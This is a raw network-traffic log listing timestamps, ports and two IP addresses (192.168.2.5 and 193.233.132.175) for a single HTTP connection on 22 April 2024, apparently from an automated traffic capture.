Apr 22, 2024 01:18:07.871360064 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871360064 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871403933 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871418953 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871443987 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871488094 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871488094 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871491909 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871531010 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871547937 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871570110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871608973 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871618032 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871618032 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871648073 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871675014 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871687889 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871725082 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871732950 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871732950 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871769905 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871786118 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871809006 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871826887 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871845961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871867895 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871885061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871901035 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871922970 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871948004 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871959925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.871985912 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.871999979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872014046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872051001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872064114 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872090101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872121096 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872138977 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872163057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872200966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872226000 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872252941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872253895 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872292995 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872318029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872332096 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872370005 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872379065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872379065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872410059 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872421980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872450113 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872467041 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872488976 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872526884 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872533083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872533083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872565985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872569084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872606993 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872644901 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872651100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872651100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872684956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872699976 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872723103 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872735977 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872762918 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872801065 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872807026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872807026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872838974 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872862101 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872879028 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872920036 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872920990 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.872920990 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872956991 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.872961044 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873003006 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873040915 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873044014 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873044014 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873081923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873106003 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873121977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873136997 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873161077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873162031 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873199940 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873234987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873238087 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873250008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873277903 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873291969 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873317957 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873322964 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873357058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873394966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873400927 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873400927 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873431921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873446941 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873470068 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873473883 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873512030 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873537064 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873549938 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873560905 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873589039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873596907 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873626947 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873647928 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873672962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873682022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873713017 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873724937 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873752117 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873790979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873797894 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873797894 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873827934 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873848915 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873867989 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873879910 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873905897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873938084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873945951 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.873960018 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.873986959 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874027014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874037981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874037981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874068022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874069929 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874108076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874145985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874155998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874155998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874186039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874195099 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874222994 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874248981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874262094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874279022 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874300003 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874310970 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874340057 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874347925 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874377966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874417067 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874428034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874428034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874455929 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874494076 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874500990 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874500990 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874533892 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874573946 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874583960 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874583960 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874631882 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874640942 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874671936 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874712944 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874723911 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874723911 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874752998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:07.874769926 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:07.874804974 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.093548059 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.093614101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.093655109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.093704939 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.093704939 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.110889912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.110949039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.110991001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.111001015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111001015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111031055 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.111069918 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.111082077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111082077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111109972 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.111119986 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111150026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.111183882 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.111210108 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126159906 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126225948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126274109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126274109 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126275063 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126403093 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126451015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126451015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126466036 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126514912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126519918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126563072 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126583099 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126624107 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126627922 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126672029 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126676083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126718044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126718998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126813889 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126832008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126883030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126893997 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126944065 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.126949072 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.126991987 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127001047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127058029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127068043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127116919 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127140045 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127185106 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127199888 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127245903 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127293110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127293110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127316952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127366066 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127391100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127423048 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127430916 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127492905 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127515078 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127541065 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127561092 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127595901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127599001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127646923 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127646923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127671003 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127697945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127705097 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127706051 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127726078 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127748966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127768040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127768040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127775908 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127799034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127818108 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127818108 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127825022 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127846956 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127851963 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127875090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127886057 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127887011 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127896070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127922058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127948046 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127958059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127958059 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.127968073 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.127988100 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128005981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128005981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128011942 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128037930 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128045082 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128062010 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128084898 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128093958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128093958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128120899 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128134012 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128134012 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128144026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128165960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128185034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128185034 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128194094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128215075 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128233910 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128233910 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128236055 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128259897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128276110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128276110 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128283024 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128303051 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128318071 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128318071 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128329039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128350019 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128371954 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128375053 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128375053 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128393888 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128395081 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128422976 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128434896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128434896 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128444910 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128467083 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128485918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128485918 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128494978 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128516912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128520966 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128539085 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128560066 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128561020 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128561020 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128576040 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128582001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128602982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128616095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128616095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128623962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128645897 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128648043 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128674984 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128685951 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128685951 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128695011 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128711939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128730059 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128739119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128739119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:08.128747940 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128766060 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128783941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:08.128784895 CEST	49710	80	192.168.2.5	193.233.132.175
